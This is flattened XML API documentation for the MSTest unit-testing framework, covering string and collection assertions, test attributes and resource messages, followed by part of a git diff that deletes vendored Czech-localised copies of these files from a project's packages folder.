- - The assertion Name. - - - parameter name - - - message for the invalid parameter exception - - - The parameters. - - - - - Safely converts an object to a string, handling null values and null characters. - Null values are converted to "(null)". Null characters are converted to "\\0". - - - The object to convert to a string. - - - The converted string. - - - - - The string assert. - - - - - Gets the singleton instance of the CollectionAssert functionality. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert customAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Tests whether the specified string contains the specified substring - and throws an exception if the substring does not occur within the - test string. - - - The string that is expected to contain . - - - The string expected to occur within . - - - Thrown if is not found in - . - - - - - Tests whether the specified string contains the specified substring - and throws an exception if the substring does not occur within the - test string. - - - The string that is expected to contain . - - - The string expected to occur within . - - - The message to include in the exception when - is not in . The message is shown in - test results. - - - Thrown if is not found in - . - - - - - Tests whether the specified string contains the specified substring - and throws an exception if the substring does not occur within the - test string. - - - The string that is expected to contain . - - - The string expected to occur within . - - - The message to include in the exception when - is not in . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is not found in - . - - - - - Tests whether the specified string begins with the specified substring - and throws an exception if the test string does not start with the - substring. - - - The string that is expected to begin with . - - - The string expected to be a prefix of . - - - Thrown if does not begin with - . - - - - - Tests whether the specified string begins with the specified substring - and throws an exception if the test string does not start with the - substring. - - - The string that is expected to begin with . - - - The string expected to be a prefix of . - - - The message to include in the exception when - does not begin with . The message is - shown in test results. - - - Thrown if does not begin with - . - - - - - Tests whether the specified string begins with the specified substring - and throws an exception if the test string does not start with the - substring. - - - The string that is expected to begin with . - - - The string expected to be a prefix of . - - - The message to include in the exception when - does not begin with . The message is - shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if does not begin with - . - - - - - Tests whether the specified string ends with the specified substring - and throws an exception if the test string does not end with the - substring. - - - The string that is expected to end with . - - - The string expected to be a suffix of . - - - Thrown if does not end with - . - - - - - Tests whether the specified string ends with the specified substring - and throws an exception if the test string does not end with the - substring. - - - The string that is expected to end with . - - - The string expected to be a suffix of . - - - The message to include in the exception when - does not end with . The message is - shown in test results. - - - Thrown if does not end with - . - - - - - Tests whether the specified string ends with the specified substring - and throws an exception if the test string does not end with the - substring. - - - The string that is expected to end with . - - - The string expected to be a suffix of . - - - The message to include in the exception when - does not end with . The message is - shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if does not end with - . - - - - - Tests whether the specified string matches a regular expression and - throws an exception if the string does not match the expression. - - - The string that is expected to match . - - - The regular expression that is - expected to match. - - - Thrown if does not match - . - - - - - Tests whether the specified string matches a regular expression and - throws an exception if the string does not match the expression. - - - The string that is expected to match . - - - The regular expression that is - expected to match. - - - The message to include in the exception when - does not match . The message is shown in - test results. - - - Thrown if does not match - . - - - - - Tests whether the specified string matches a regular expression and - throws an exception if the string does not match the expression. - - - The string that is expected to match . - - - The regular expression that is - expected to match. - - - The message to include in the exception when - does not match . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if does not match - . - - - - - Tests whether the specified string does not match a regular expression - and throws an exception if the string matches the expression. - - - The string that is expected not to match . - - - The regular expression that is - expected to not match. - - - Thrown if matches . - - - - - Tests whether the specified string does not match a regular expression - and throws an exception if the string matches the expression. - - - The string that is expected not to match . - - - The regular expression that is - expected to not match. - - - The message to include in the exception when - matches . The message is shown in test - results. - - - Thrown if matches . - - - - - Tests whether the specified string does not match a regular expression - and throws an exception if the string matches the expression. - - - The string that is expected not to match . - - - The regular expression that is - expected to not match. - - - The message to include in the exception when - matches . The message is shown in test - results. - - - An array of parameters to use when formatting . - - - Thrown if matches . - - - - - A collection of helper classes to test various conditions associated - with collections within unit tests. If the condition being tested is not - met, an exception is thrown. - - - - - Gets the singleton instance of the CollectionAssert functionality. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert customAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Tests whether the specified collection contains the specified element - and throws an exception if the element is not in the collection. - - - The collection in which to search for the element. - - - The element that is expected to be in the collection. - - - Thrown if is not found in - . - - - - - Tests whether the specified collection contains the specified element - and throws an exception if the element is not in the collection. - - - The collection in which to search for the element. - - - The element that is expected to be in the collection. - - - The message to include in the exception when - is not in . The message is shown in - test results. - - - Thrown if is not found in - . - - - - - Tests whether the specified collection contains the specified element - and throws an exception if the element is not in the collection. - - - The collection in which to search for the element. - - - The element that is expected to be in the collection. - - - The message to include in the exception when - is not in . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is not found in - . - - - - - Tests whether the specified collection does not contain the specified - element and throws an exception if the element is in the collection. - - - The collection in which to search for the element. - - - The element that is expected not to be in the collection. - - - Thrown if is found in - . - - - - - Tests whether the specified collection does not contain the specified - element and throws an exception if the element is in the collection. - - - The collection in which to search for the element. - - - The element that is expected not to be in the collection. - - - The message to include in the exception when - is in . The message is shown in test - results. - - - Thrown if is found in - . - - - - - Tests whether the specified collection does not contain the specified - element and throws an exception if the element is in the collection. - - - The collection in which to search for the element. - - - The element that is expected not to be in the collection. - - - The message to include in the exception when - is in . The message is shown in test - results. - - - An array of parameters to use when formatting . - - - Thrown if is found in - . - - - - - Tests whether all items in the specified collection are non-null and throws - an exception if any element is null. - - - The collection in which to search for null elements. - - - Thrown if a null element is found in . - - - - - Tests whether all items in the specified collection are non-null and throws - an exception if any element is null. - - - The collection in which to search for null elements. - - - The message to include in the exception when - contains a null element. The message is shown in test results. - - - Thrown if a null element is found in . - - - - - Tests whether all items in the specified collection are non-null and throws - an exception if any element is null. - - - The collection in which to search for null elements. - - - The message to include in the exception when - contains a null element. The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if a null element is found in . - - - - - Tests whether all items in the specified collection are unique or not and - throws if any two elements in the collection are equal. - - - The collection in which to search for duplicate elements. - - - Thrown if a two or more equal elements are found in - . - - - - - Tests whether all items in the specified collection are unique or not and - throws if any two elements in the collection are equal. - - - The collection in which to search for duplicate elements. - - - The message to include in the exception when - contains at least one duplicate element. The message is shown in - test results. - - - Thrown if a two or more equal elements are found in - . - - - - - Tests whether all items in the specified collection are unique or not and - throws if any two elements in the collection are equal. - - - The collection in which to search for duplicate elements. - - - The message to include in the exception when - contains at least one duplicate element. The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if a two or more equal elements are found in - . - - - - - Tests whether one collection is a subset of another collection and - throws an exception if any element in the subset is not also in the - superset. - - - The collection expected to be a subset of . - - - The collection expected to be a superset of - - - Thrown if an element in is not found in - . - - - - - Tests whether one collection is a subset of another collection and - throws an exception if any element in the subset is not also in the - superset. - - - The collection expected to be a subset of . - - - The collection expected to be a superset of - - - The message to include in the exception when an element in - is not found in . - The message is shown in test results. - - - Thrown if an element in is not found in - . - - - - - Tests whether one collection is a subset of another collection and - throws an exception if any element in the subset is not also in the - superset. - - - The collection expected to be a subset of . - - - The collection expected to be a superset of - - - The message to include in the exception when an element in - is not found in . - The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if an element in is not found in - . - - - - - Tests whether one collection is not a subset of another collection and - throws an exception if all elements in the subset are also in the - superset. - - - The collection expected not to be a subset of . - - - The collection expected not to be a superset of - - - Thrown if every element in is also found in - . - - - - - Tests whether one collection is not a subset of another collection and - throws an exception if all elements in the subset are also in the - superset. - - - The collection expected not to be a subset of . - - - The collection expected not to be a superset of - - - The message to include in the exception when every element in - is also found in . - The message is shown in test results. - - - Thrown if every element in is also found in - . - - - - - Tests whether one collection is not a subset of another collection and - throws an exception if all elements in the subset are also in the - superset. - - - The collection expected not to be a subset of . - - - The collection expected not to be a superset of - - - The message to include in the exception when every element in - is also found in . - The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if every element in is also found in - . - - - - - Tests whether two collections contain the same elements and throws an - exception if either collection contains an element not in the other - collection. - - - The first collection to compare. This contains the elements the test - expects. - - - The second collection to compare. This is the collection produced by - the code under test. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Tests whether two collections contain the same elements and throws an - exception if either collection contains an element not in the other - collection. - - - The first collection to compare. This contains the elements the test - expects. - - - The second collection to compare. This is the collection produced by - the code under test. - - - The message to include in the exception when an element was found - in one of the collections but not the other. The message is shown - in test results. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Tests whether two collections contain the same elements and throws an - exception if either collection contains an element not in the other - collection. - - - The first collection to compare. This contains the elements the test - expects. - - - The second collection to compare. This is the collection produced by - the code under test. - - - The message to include in the exception when an element was found - in one of the collections but not the other. The message is shown - in test results. - - - An array of parameters to use when formatting . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Tests whether two collections contain the different elements and throws an - exception if the two collections contain identical elements without regard - to order. - - - The first collection to compare. This contains the elements the test - expects to be different than the actual collection. - - - The second collection to compare. This is the collection produced by - the code under test. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Tests whether two collections contain the different elements and throws an - exception if the two collections contain identical elements without regard - to order. - - - The first collection to compare. This contains the elements the test - expects to be different than the actual collection. - - - The second collection to compare. This is the collection produced by - the code under test. - - - The message to include in the exception when - contains the same elements as . The message - is shown in test results. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Tests whether two collections contain the different elements and throws an - exception if the two collections contain identical elements without regard - to order. - - - The first collection to compare. This contains the elements the test - expects to be different than the actual collection. - - - The second collection to compare. This is the collection produced by - the code under test. - - - The message to include in the exception when - contains the same elements as . The message - is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Tests whether all elements in the specified collection are instances - of the expected type and throws an exception if the expected type is - not in the inheritance hierarchy of one or more of the elements. - - - The collection containing elements the test expects to be of the - specified type. - - - The expected type of each element of . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Tests whether all elements in the specified collection are instances - of the expected type and throws an exception if the expected type is - not in the inheritance hierarchy of one or more of the elements. - - - The collection containing elements the test expects to be of the - specified type. - - - The expected type of each element of . - - - The message to include in the exception when an element in - is not an instance of - . The message is shown in test results. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Tests whether all elements in the specified collection are instances - of the expected type and throws an exception if the expected type is - not in the inheritance hierarchy of one or more of the elements. - - - The collection containing elements the test expects to be of the - specified type. - - - The expected type of each element of . - - - The message to include in the exception when an element in - is not an instance of - . The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Tests whether the specified collections are equal and throws an exception - if the two collections are not equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects. - - - The second collection to compare. This is the collection produced by the - code under test. - - - Thrown if is not equal to - . - - - - - Tests whether the specified collections are equal and throws an exception - if the two collections are not equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects. - - - The second collection to compare. This is the collection produced by the - code under test. - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - Thrown if is not equal to - . - - - - - Tests whether the specified collections are equal and throws an exception - if the two collections are not equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects. - - - The second collection to compare. This is the collection produced by the - code under test. - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is not equal to - . - - - - - Tests whether the specified collections are unequal and throws an exception - if the two collections are equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects - not to match . - - - The second collection to compare. This is the collection produced by the - code under test. - - - Thrown if is equal to . - - - - - Tests whether the specified collections are unequal and throws an exception - if the two collections are equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects - not to match . - - - The second collection to compare. This is the collection produced by the - code under test. - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - Thrown if is equal to . - - - - - Tests whether the specified collections are unequal and throws an exception - if the two collections are equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects - not to match . - - - The second collection to compare. This is the collection produced by the - code under test. - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is equal to . - - - - - Tests whether the specified collections are equal and throws an exception - if the two collections are not equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects. - - - The second collection to compare. This is the collection produced by the - code under test. - - - The compare implementation to use when comparing elements of the collection. - - - Thrown if is not equal to - . - - - - - Tests whether the specified collections are equal and throws an exception - if the two collections are not equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects. - - - The second collection to compare. This is the collection produced by the - code under test. - - - The compare implementation to use when comparing elements of the collection. - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - Thrown if is not equal to - . - - - - - Tests whether the specified collections are equal and throws an exception - if the two collections are not equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects. - - - The second collection to compare. This is the collection produced by the - code under test. - - - The compare implementation to use when comparing elements of the collection. - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is not equal to - . - - - - - Tests whether the specified collections are unequal and throws an exception - if the two collections are equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects - not to match . - - - The second collection to compare. This is the collection produced by the - code under test. - - - The compare implementation to use when comparing elements of the collection. - - - Thrown if is equal to . - - - - - Tests whether the specified collections are unequal and throws an exception - if the two collections are equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects - not to match . - - - The second collection to compare. This is the collection produced by the - code under test. - - - The compare implementation to use when comparing elements of the collection. - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - Thrown if is equal to . - - - - - Tests whether the specified collections are unequal and throws an exception - if the two collections are equal. Equality is defined as having the same - elements in the same order and quantity. Different references to the same - value are considered equal. - - - The first collection to compare. This is the collection the tests expects - not to match . - - - The second collection to compare. This is the collection produced by the - code under test. - - - The compare implementation to use when comparing elements of the collection. - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is equal to . - - - - - Determines whether the first collection is a subset of the second - collection. If either set contains duplicate elements, the number - of occurrences of the element in the subset must be less than or - equal to the number of occurrences in the superset. - - - The collection the test expects to be contained in . - - - The collection the test expects to contain . - - - True if is a subset of - , false otherwise. - - - - - Constructs a dictionary containing the number of occurrences of each - element in the specified collection. - - - The collection to process. - - - The number of null elements in the collection. - - - A dictionary containing the number of occurrences of each element - in the specified collection. - - - - - Finds a mismatched element between the two collections. A mismatched - element is one that appears a different number of times in the - expected collection than it does in the actual collection. The - collections are assumed to be different non-null references with the - same number of elements. The caller is responsible for this level of - verification. If there is no mismatched element, the function returns - false and the out parameters should not be used. - - - The first collection to compare. - - - The second collection to compare. - - - The expected number of occurrences of - or 0 if there is no mismatched - element. - - - The actual number of occurrences of - or 0 if there is no mismatched - element. - - - The mismatched element (may be null) or null if there is no - mismatched element. - - - true if a mismatched element was found; false otherwise. - - - - - compares the objects using object.Equals - - - - - Base class for Framework Exceptions. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class. - - The message. - The exception. - - - - Initializes a new instance of the class. - - The message. - - - - A strongly-typed resource class, for looking up localized strings, etc. - - - - - Returns the cached ResourceManager instance used by this class. - - - - - Overrides the current thread's CurrentUICulture property for all - resource lookups using this strongly typed resource class. - - - - - Looks up a localized string similar to Access string has invalid syntax.. - - - - - Looks up a localized string similar to The expected collection contains {1} occurrence(s) of <{2}>. The actual collection contains {3} occurrence(s). {0}. - - - - - Looks up a localized string similar to Duplicate item found:<{1}>. {0}. - - - - - Looks up a localized string similar to Expected:<{1}>. Case is different for actual value:<{2}>. {0}. - - - - - Looks up a localized string similar to Expected a difference no greater than <{3}> between expected value <{1}> and actual value <{2}>. {0}. - - - - - Looks up a localized string similar to Expected:<{1} ({2})>. Actual:<{3} ({4})>. {0}. - - - - - Looks up a localized string similar to Expected:<{1}>. Actual:<{2}>. {0}. - - - - - Looks up a localized string similar to Expected a difference greater than <{3}> between expected value <{1}> and actual value <{2}>. {0}. - - - - - Looks up a localized string similar to Expected any value except:<{1}>. Actual:<{2}>. {0}. - - - - - Looks up a localized string similar to Do not pass value types to AreSame(). Values converted to Object will never be the same. Consider using AreEqual(). {0}. - - - - - Looks up a localized string similar to {0} failed. {1}. - - - - - Looks up a localized string similar to async TestMethod with UITestMethodAttribute are not supported. Either remove async or use TestMethodAttribute.. - - - - - Looks up a localized string similar to Both collections are empty. {0}. - - - - - Looks up a localized string similar to Both collection contain same elements.. - - - - - Looks up a localized string similar to Both collection references point to the same collection object. {0}. - - - - - Looks up a localized string similar to Both collections contain the same elements. {0}. - - - - - Looks up a localized string similar to {0}({1}). - - - - - Looks up a localized string similar to (null). - - - - - Looks up a localized string similar to (object). - - - - - Looks up a localized string similar to String '{0}' does not contain string '{1}'. {2}.. - - - - - Looks up a localized string similar to {0} ({1}). - - - - - Looks up a localized string similar to Assert.Equals should not be used for Assertions. Please use Assert.AreEqual & overloads instead.. - - - - - Looks up a localized string similar to Method {0} must match the expected signature: public static {1} {0}({2}).. - - - - - Looks up a localized string similar to Property or method {0} on {1} returns empty IEnumerable<object[]>.. - - - - - Looks up a localized string similar to Property or method {0} on {1} does not return IEnumerable<object[]>.. - - - - - Looks up a localized string similar to Value returned by property or method {0} shouldn't be null.. - - - - - Looks up a localized string similar to The number of elements in the collections do not match. Expected:<{1}>. Actual:<{2}>.{0}. - - - - - Looks up a localized string similar to Element at index {0} do not match.. - - - - - Looks up a localized string similar to Element at index {1} is not of expected type. Expected type:<{2}>. Actual type:<{3}>.{0}. - - - - - Looks up a localized string similar to Element at index {1} is (null). Expected type:<{2}>.{0}. - - - - - Looks up a localized string similar to String '{0}' does not end with string '{1}'. {2}.. - - - - - Looks up a localized string similar to Invalid argument- EqualsTester can't use nulls.. - - - - - Looks up a localized string similar to Cannot convert object of type {0} to {1}.. - - - - - Looks up a localized string similar to The internal object referenced is no longer valid.. - - - - - Looks up a localized string similar to The parameter '{0}' is invalid. {1}.. - - - - - Looks up a localized string similar to The property {0} has type {1}; expected type {2}.. - - - - - Looks up a localized string similar to {0} Expected type:<{1}>. Actual type:<{2}>.. - - - - - Looks up a localized string similar to String '{0}' does not match pattern '{1}'. {2}.. - - - - - Looks up a localized string similar to Wrong Type:<{1}>. Actual type:<{2}>. {0}. - - - - - Looks up a localized string similar to String '{0}' matches pattern '{1}'. {2}.. - - - - - Looks up a localized string similar to No test data source specified. Atleast one TestDataSource is required with DataTestMethodAttribute.. - - - - - Looks up a localized string similar to No exception thrown. {1} exception was expected. {0}. - - - - - Looks up a localized string similar to The parameter '{0}' is invalid. The value cannot be null. {1}.. - - - - - Looks up a localized string similar to Different number of elements.. - - - - - Looks up a localized string similar to - The constructor with the specified signature could not be found. You might need to regenerate your private accessor, - or the member may be private and defined on a base class. If the latter is true, you need to pass the type - that defines the member into PrivateObject's constructor. - . - - - - - Looks up a localized string similar to - The member specified ({0}) could not be found. You might need to regenerate your private accessor, - or the member may be private and defined on a base class. If the latter is true, you need to pass the type - that defines the member into PrivateObject's constructor. - . - - - - - Looks up a localized string similar to String '{0}' does not start with string '{1}'. {2}.. - - - - - Looks up a localized string similar to The expected exception type must be System.Exception or a type derived from System.Exception.. - - - - - Looks up a localized string similar to (Failed to get the message for an exception of type {0} due to an exception.). - - - - - Looks up a localized string similar to Test method did not throw expected exception {0}. {1}. - - - - - Looks up a localized string similar to Test method did not throw an exception. An exception was expected by attribute {0} defined on the test method.. - - - - - Looks up a localized string similar to Test method threw exception {0}, but exception {1} was expected. Exception message: {2}. - - - - - Looks up a localized string similar to Test method threw exception {0}, but exception {1} or a type derived from it was expected. Exception message: {2}. - - - - - Looks up a localized string similar to Threw exception {2}, but exception {1} was expected. {0} - Exception Message: {3} - Stack Trace: {4}. - - - - - unit test outcomes - - - - - Test was executed, but there were issues. - Issues may involve exceptions or failed assertions. - - - - - Test has completed, but we can't say if it passed or failed. - May be used for aborted tests. - - - - - Test was executed without any issues. - - - - - Test is currently executing. - - - - - There was a system error while we were trying to execute a test. - - - - - The test timed out. - - - - - Test was aborted by the user. - - - - - Test is in an unknown state - - - - - Test cannot be executed. - - - - - Provides helper functionality for the unit test framework - - - - - Gets the exception messages, including the messages for all inner exceptions - recursively - - Exception to get messages for - string with error message information - - - - Enumeration for timeouts, that can be used with the class. - The type of the enumeration must match - - - - - The infinite. - - - - - Enumeration for inheritance behavior, that can be used with both the class - and class. - Defines the behavior of the ClassInitialize and ClassCleanup methods of base classes. - The type of the enumeration must match - - - - - None. - - - - - Before each derived class. - - - - - The test class attribute. - - - - - Gets a test method attribute that enables running this test. - - The test method attribute instance defined on this method. - The to be used to run this test. - Extensions can override this method to customize how all methods in a class are run. - - - - The test method attribute. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class. - - - Message specifies reason for ignoring. - - - - - Gets display Name for the Test Window - - - - - Executes a test method. - - The test method to execute. - An array of TestResult objects that represent the outcome(s) of the test. - Extensions can override this method to customize running a TestMethod. - - - - Attribute for data driven test where data can be specified in-line. - - - - - The test initialize attribute. - - - - - The test cleanup attribute. - - - - - The ignore attribute. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class. - - - Message specifies reason for ignoring. - - - - - Gets the owner. - - - - - The test property attribute. - - - - - Initializes a new instance of the class. - - - The name. - - - The value. - - - - - Gets the name. - - - - - Gets the value. - - - - - The class initialize attribute. - - - - - Initializes a new instance of the class. - ClassInitializeAttribute - - - - - Initializes a new instance of the class. - ClassInitializeAttribute - - - Specifies the ClassInitialize Inheritance Behavior - - - - - Gets the Inheritance Behavior - - - - - The class cleanup attribute. - - - - - Initializes a new instance of the class. - ClassCleanupAttribute - - - - - Initializes a new instance of the class. - ClassCleanupAttribute - - - Specifies the ClassCleanup Inheritance Behavior - - - - - Gets the Inheritance Behavior - - - - - The assembly initialize attribute. - - - - - The assembly cleanup attribute. - - - - - Test Owner - - - - - Initializes a new instance of the class. - - - The owner. - - - - - Gets the owner. - - - - - Priority attribute; used to specify the priority of a unit test. - - - - - Initializes a new instance of the class. - - - The priority. - - - - - Gets the priority. - - - - - Description of the test - - - - - Initializes a new instance of the class to describe a test. - - The description. - - - - Gets the description of a test. - - - - - CSS Project Structure URI - - - - - Initializes a new instance of the class for CSS Project Structure URI. - - The CSS Project Structure URI. - - - - Gets the CSS Project Structure URI. - - - - - CSS Iteration URI - - - - - Initializes a new instance of the class for CSS Iteration URI. - - The CSS Iteration URI. - - - - Gets the CSS Iteration URI. - - - - - WorkItem attribute; used to specify a work item associated with this test. - - - - - Initializes a new instance of the class for the WorkItem Attribute. - - The Id to a work item. - - - - Gets the Id to a work item associated. - - - - - Timeout attribute; used to specify the timeout of a unit test. - - - - - Initializes a new instance of the class. - - - The timeout in milliseconds. - - - - - Initializes a new instance of the class with a preset timeout - - - The timeout - - - - - Gets the timeout in milliseconds. - - - - - TestResult object to be returned to adapter. - - - - - Initializes a new instance of the class. - - - - - Gets or sets the display name of the result. Useful when returning multiple results. - If null then Method name is used as DisplayName. - - - - - Gets or sets the outcome of the test execution. - - - - - Gets or sets the exception thrown when test is failed. - - - - - Gets or sets the output of the message logged by test code. - - - - - Gets or sets the output of the message logged by test code. - - - - - Gets or sets the debug traces by test code. - - - - - Gets or sets the debug traces by test code. - - - - - Gets or sets the execution id of the result. - - - - - Gets or sets the parent execution id of the result. - - - - - Gets or sets the inner results count of the result. - - - - - Gets or sets the duration of test execution. - - - - - Gets or sets the data row index in data source. Set only for results of individual - run of data row of a data driven test. - - - - - Gets or sets the return value of the test method. (Currently null always). - - - - - Gets or sets the result files attached by the test. - - - - - Specifies connection string, table name and row access method for data driven testing. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - The default provider name for DataSource. - - - - - The default data access method. - - - - - Initializes a new instance of the class. This instance will be initialized with a data provider, connection string, data table and data access method to access the data source. - - Invariant data provider name, such as System.Data.SqlClient - - Data provider specific connection string. - WARNING: The connection string can contain sensitive data (for example, a password). - The connection string is stored in plain text in source code and in the compiled assembly. - Restrict access to the source code and assembly to protect this sensitive information. - - The name of the data table. - Specifies the order to access data. - - - - Initializes a new instance of the class.This instance will be initialized with a connection string and table name. - Specify connection string and data table to access OLEDB data source. - - - Data provider specific connection string. - WARNING: The connection string can contain sensitive data (for example, a password). - The connection string is stored in plain text in source code and in the compiled assembly. - Restrict access to the source code and assembly to protect this sensitive information. - - The name of the data table. - - - - Initializes a new instance of the class. This instance will be initialized with a data provider and connection string associated with the setting name. - - The name of a data source found in the <microsoft.visualstudio.qualitytools> section in the app.config file. - - - - Gets a value representing the data provider of the data source. - - - The data provider name. If a data provider was not designated at object initialization, the default provider of System.Data.OleDb will be returned. - - - - - Gets a value representing the connection string for the data source. - - - - - Gets a value indicating the table name providing data. - - - - - Gets the method used to access the data source. - - - - One of the values. If the is not initialized, this will return the default value . - - - - - Gets the name of a data source found in the <microsoft.visualstudio.qualitytools> section in the app.config file. - - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/cs/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/cs/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index 4fa96573..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/cs/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,113 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - Používá se pro určení položky nasazení (souboru nebo adresáře) za účelem nasazení podle testu. - Lze zadat na testovací třídě nebo testovací metodě. - Může mít více instancí atributu pro zadání více než jedné položky. - Cesta k položce může být absolutní nebo relativní. Pokud je relativní, je relativní ve vztahu k RunConfig.RelativePathRoot. - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - Putting this in here so that UWP discovery works. We still do not want users to be using DeploymentItem in the UWP world - Hence making it internal. - We should separate out DeploymentItem logic in the adapter via a Framework extensiblity point. - Filed https://github.com/Microsoft/testfx/issues/100 to track this. - - - - - Inicializuje novou instanci třídy . - - Soubor nebo adresář, který se má nasadit. Cesta je relativní ve vztahu k adresáři výstupu sestavení. Položka bude zkopírována do adresáře, ve kterém jsou nasazená testovací sestavení. - - - - Inicializuje novou instanci třídy . - - Relativní nebo absolutní cesta k souboru nebo adresáři, který se má nasadit. Cesta je relativní ve vztahu k adresáři výstupu sestavení. Položka bude zkopírována do stejného adresáře jako nasazená testovací sestavení. - Cesta k adresáři, do kterého se mají položky kopírovat. Může být absolutní nebo relativní ve vztahu k adresáři nasazení. Všechny soubory a adresáře určené cestou budou zkopírovány do tohoto adresáře. - - - - Získá cestu ke zdrojovému souboru nebo složce, které se mají kopírovat. - - - - - Získá cestu adresáře, do kterého se položka zkopíruje. - - - - - Spustí testovací kód ve vlákně uživatelského rozhraní pro aplikace pro Windows Store. - - - - - Spustí testovací metodu ve vlákně uživatelského rozhraní. - - - Testovací metoda - - - Pole instance - - Throws when run on an async test method. - - - - - Třída TestContext. Tato třída by měla být zcela abstraktní a neměla by obsahovat žádné - členy. Členy implementuje adaptér. Uživatelé rozhraní by měli - k této funkci přistupovat jenom prostřednictvím dobře definovaného rozhraní. - - - - - Získá vlastnosti testu. - - - - - Získá plně kvalifikovaný název třídy obsahující aktuálně prováděnou testovací metodu. - - - This property can be useful in attributes derived from ExpectedExceptionBaseAttribute. - Those attributes have access to the test context, and provide messages that are included - in the test results. Users can benefit from messages that include the fully-qualified - class name in addition to the name of the test method currently being executed. - - - - - Získá název aktuálně prováděné testovací metody. - - - - - Získá aktuální výsledek testu. - - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/cs/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/cs/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index 3f446b4e..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/cs/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4197 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - Atribut TestMethod pro provádění - - - - - Získá název testovací metody. - - - - - Získá název třídy testu. - - - - - Získá návratový typ testovací metody. - - - - - Získá parametry testovací metody. - - - - - 